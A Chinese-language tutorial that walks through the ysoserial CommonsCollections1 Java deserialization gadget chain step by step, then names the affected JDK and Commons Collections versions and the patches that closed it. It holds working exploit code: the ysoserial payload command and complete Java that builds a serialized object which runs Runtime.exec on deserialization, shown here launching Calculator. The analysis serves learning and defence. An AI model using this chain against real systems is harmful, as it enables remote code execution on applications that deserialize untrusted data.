1.CommonsCollections简介
Apache Commons Collections
(简称CC
)是一个Apache软件基金会的项目。该项目中包含了常用数据结构的扩展和补充。以Map接口为例,最常用的就是java中自带的Hashmap类
,但是这种简单的Map类有时候往往无法满足我们的需求。因此CC项目中对一些可能经常用到的Map进行了包装,例如:
LinkedMap(有序Map)
:条目顺序由最初的数据插入时来决定。BidiMap (双向Map)
:既可以通过key找到value,也可以通过value找到key。LazyMap
:当键值被访问时若不存在才创建。例如从数据库中读取,这个就没必要初始化的时候把所有数据都从数据库加载到内存里,用哪个取哪个即可。
ysoserial
项目中使用该项目生成反序列化漏洞的gadget显然是因为该项目包应用比较广泛,并且其中包含了某些在反序列化中可以自动执行命令的利用点。
2.CommonsCollections1利用链测试
CommonsCollections1利用链对于java版本有一定要求,java版本要小于8u71
。这里我用的7u80
。CommonsCollections库的版本为3.2.1
。
1.生成反序列化数据
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "/Applications/Calculator.app/Contents/MacOS/Calculator" > CC1.bin
2.使用如下代码对序列化数据进行反序列化
import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class TestCC1 { public static void main(String[] args) throws IOException, ClassNotFoundException { FileInputStream fIs = new FileInputStream("CC1.bin"); ObjectInputStream objIs = new ObjectInputStream(fIs); objIs.readObject(); } }
可以看到将会弹出计算器,命令正常执行。
3.CommonsCollections1利用链分析
CC1利用链整体代码如下:
public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; //使用反射方法调用Runtime.getRuntime().exec("cmd"); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); //lazyMap在调用其get方法时会执行transformer()方法 final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); // 代理类在执行任意方法的时候都会调用其invoke方法。 final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); //其实创建的是以AnnotationInvocationHandler作为handler的一个代理,当mapProxy执行任意方法的时候都会调用AnnotationInvocationHandler的invoke方法,而invoke方法中有get方法! Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; }
代码非常长我们将其分解开来一步一步理解。先尝试理解各个部分的功能。
3.1 transformers
前面说过,这个Commons Collections项目中包含了常用的一些数据结构,以Map为例,正常的Map中包含的就是普通的键值对。但是如果我希望在put数据的时候或者get数据的时候,比如键是用户名,值是密码,但我希望密码不要明文保存,做个md5等哈希操作,就可以用到CC项目中的transformers。正如它的名字,这个transformers其实就是一个自动对输入的键和值进行加工转化的处理器。当然这个transformer是需要和CC项目中的数据结构类配套使用的,每一个transformer里面都会包含一个transform方法
,在特定时候数据结构就会调用transform方法
。
CC1利用链中用到的transformers有以下几个:
- ConstantTransformer
- InvokerTransformer
- ChainedTransformer
以下对这三个transformer分别进行说明。
3.1.1 ConstantTransformer
从名字就可以看出来这个transformer的返回值就是个固定值。其构造函数和transform函数代码如下:
public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; }
可以看到,构造的时候输入的对象是什么,transform函数返回值就是什么。因此CC1中new ConstantTransformer(Runtime.class)
当调用它的transform方法时返回的值就是一个Runtime.class
。
3.1.2 InvokerTransformer
从名字就可以看出来,这个transformer应该是会调用某个方法。先看一下它的构造函数(CC1中用的)。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
可以看到,传入的三个参数分别为方法名
、参数类型
、参数
。再看看其transform方法:
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
可以看到这里transform函数功能就是根据输入的这个对象,调用它的iMethodName
方法并且参数为iParamTypes
类型,参数的值就是构造函数里设置的iArgs
。CC1中一共用了三次InvokerTransformer
,以第一次为例,假如(事实也是)第一次InvokerTransformer
类的transform方法调用时Object input
为上一步ConstantTransformer
的transform方法返回的Runtime.class
。那么InvokerTransformer
类的transform方法执行的代码如下:
Class cls = Runtime.class.getClass(); Method method = cls.getMethod("getMethod", new Class[]{String.class, Class[].class}); System.out.println(method.invoke(Runtime.class,new Object[] {"getRuntime", new Class[0] }));
可以看到返回结果是一个getRuntime的Method!
可以看到,如果前一个transformer的输出结果是下一个transformer的输入值,那么显然下一个invoke就是执行getRuntime
。再下一个就是在Runtime
里执行exec
函数从而执行命令。那么如何实现这个将前一个transformer的transform方法的返回结果作为后一个transformer的输入呢?这里就用到了ChainedTransformer
。
3.1.3 ChainedTransformer
从名字可以看出来,它是一条transformer链。我们可以看一下它的构造函数和transform方法:
public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
可以看出,这里的这个构造方法就是输入一个transformer数组,然后transform方法将会使用for循环来遍历每一个transformer类,调用其transform方法,然后将上一次调用的结果作为下一次的输入!至此如果我们可以触发这个ChainedTransformer
类的transform方法,那么就可以获得Runtime类并执行系统命令。但是如何才能触发transform方法?CC1中用到的就是lazyMap
。
3.2 lazyMap
首先查看一下lazyMap的构造函数:
protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; }
其实就是声明了一个map,然后设置了一下这个LazyMap的factory
。而CC1中调用的LazyMap.decorate
如下:
public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
其实就是生成了一个LazyMap
对象。而我们输入的ChainedTransformer
就会变成这个对象的factory
。那么LazyMap对象什么时候才会调用factory
的transform
方法呢?通过搜索可以发现,在调用LazyMap对象的get方法时如果找不到那个键就会触发factory(也就是我们设计的ChainedTransformer)的transform方法。
public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key);//这里调用! map.put(key, value); return value; } return map.get(key); }
我们使用如下代码进行测试:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map; public class TestCC1 { public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException { String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs) }; final Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); lazyMap.get("theKeyNotExist"); } }
测试发现命令被正常执行,系统弹出了计算器。lazymap虽然实现了Serializable
接口可以进行反序列化操作,但是它的readObject
方法中并没有调用到get
方法。那么这里就需要一个类,在反序列化时,readObject
方法中会触发调用lazyMap的get
方法。这里CC1中所用的就是sun.reflect.annotation.AnnotationInvocationHandler
。
3.3 AnnotationInvocationHandler
这个类保存在sun.reflect.annotation.AnnotationInvocationHandler
,还是先看一下这个类的构造函数。
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } }
可以看到构造的时候传入的第二个参数Map类型,我们传入构造的lazyMap对象。那么这个AnnotationInvocationHandler
的memberValues
就是我们的lazyMap
对象。也就是说如果AnnotationInvocationHandler
的readObject
方法中有this.memberValues.get
那么就会触发我们的设计的ChainedTransformer
的transformer
方法。然而AnnotationInvocationHandler
的readObject
方法代码如下:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
可以看到这里并没有调用memberValues.get
,只有一个memberValues.entrySet().iterator()
。搜索发现这里面invoke
方法中调用了memberValues.get
。
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1; switch(var4.hashCode()) { case -1776922004: if (var4.equals("toString")) { var7 = 0; } break; case 147696667: if (var4.equals("hashCode")) { var7 = 1; } break; case 1444986633: if (var4.equals("annotationType")) { var7 = 2; } } switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4);//就这个位置! ...省略... return var6; } } } }
ysoserial作者使用了动态代理的来触发invoke方法。前面学过对于一个类,可以写一个该类的代理InvocationHandler,生成一个代理类。通过代理类去访问被代理类中的任意方法时,均会先进入handler的invoke方法,然后再去执行被代理类的方法。而这个AnnotationInvocationHandler
本身就是一个InvocationHandler
。因此可以使用AnnotationInvocationHandler
作为InvocationHandler
创建一个代理类。这样无论代理类中执行什么函数都会调用AnnotationInvocationHandler.invoke
,从而执行我们的LazyMap.set
。这里AnnotationInvocationHandler
没有public的构造函数,因此需要使用反射方法创建实例,代码如下:
String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; Class cls = Class.forName(ANN_INV_HANDLER_CLASS); Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map m = (Map)Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[] {Map.class}, handler);
那么这里如果反序列化中调用了我们生成的代理Map的任意方法都会执行handler
中的invoke方法。正好前面说了AnnotationInvocationHandler.readObject
中包含着一个memberValues.entrySet()
,调用了传入Map的entrySet方法。因此可以对代理出的Map对象再作为AnnotationInvocationHandler
的memberValues
实例化一个对象。最终代码如下,运行发现命令被执行,计算器被运行。
public class TestCC1 { public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException { String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs) }; final Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); //lazyMap.get("theKeyNotExist"); //使用反射获取AnnotationInvocationHandler实例 String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; Class cls = Class.forName(ANN_INV_HANDLER_CLASS); Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map ProxyedMap = (Map)Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[] {Map.class}, handler); InvocationHandler CC1Obj = (InvocationHandler)constructor.newInstance(Override.class, ProxyedMap); //序列化 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(CC1Obj); //反序列化 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object o = (Object)objectInputStream.readObject(); } }
4.适用版本
4.1 jdk版本要求
这里我们对jdk和CC项目的源码进行了对比。下载代码推荐如下方式,jdk代码推荐适用hg下载,虽然github中也能找到jdk源码,但可能是我的操作不熟练,感觉github上的jdk源码commit记录有缺失,因此推荐使用hg下载。
hg clone http://hg.openjdk.java.net/jdk8u/jdk8u git clone http://gitbox.apache.org/repos/asf/commons-collections.git
先看jdk修改
hg log src\share\classes\sun\reflect\annotation\AnnotationInvocationHandler.java
可以看到就是在11364:8e3338e7c7ea中对这个AnnotationInvocationHandler.java进行了修改,导致invoke无法触发。其中的修改主要是修改了AnnotationInvocationHandler.readObject
的代码,新版的代码中将不再执行s.defaultReadObject
。因此触发invoke
方法时,this.memberValues
的值将是null
。
changeset11364
就在jdk8u71-b11
和jdk8u71-b12
之间,因此该利用链要求的jdk版本应小于等于jdk8u71-b11
。
4.2 CC项目版本要求
cc里面15年光棍节的时候把InvokerTransformer
的readObject
和writeObject
都进行了修改,限制了不安全的序列化反序列化。而之后发布的发行版就是3.2.2
。
因此CC项目版本要求为小于3.2.2
。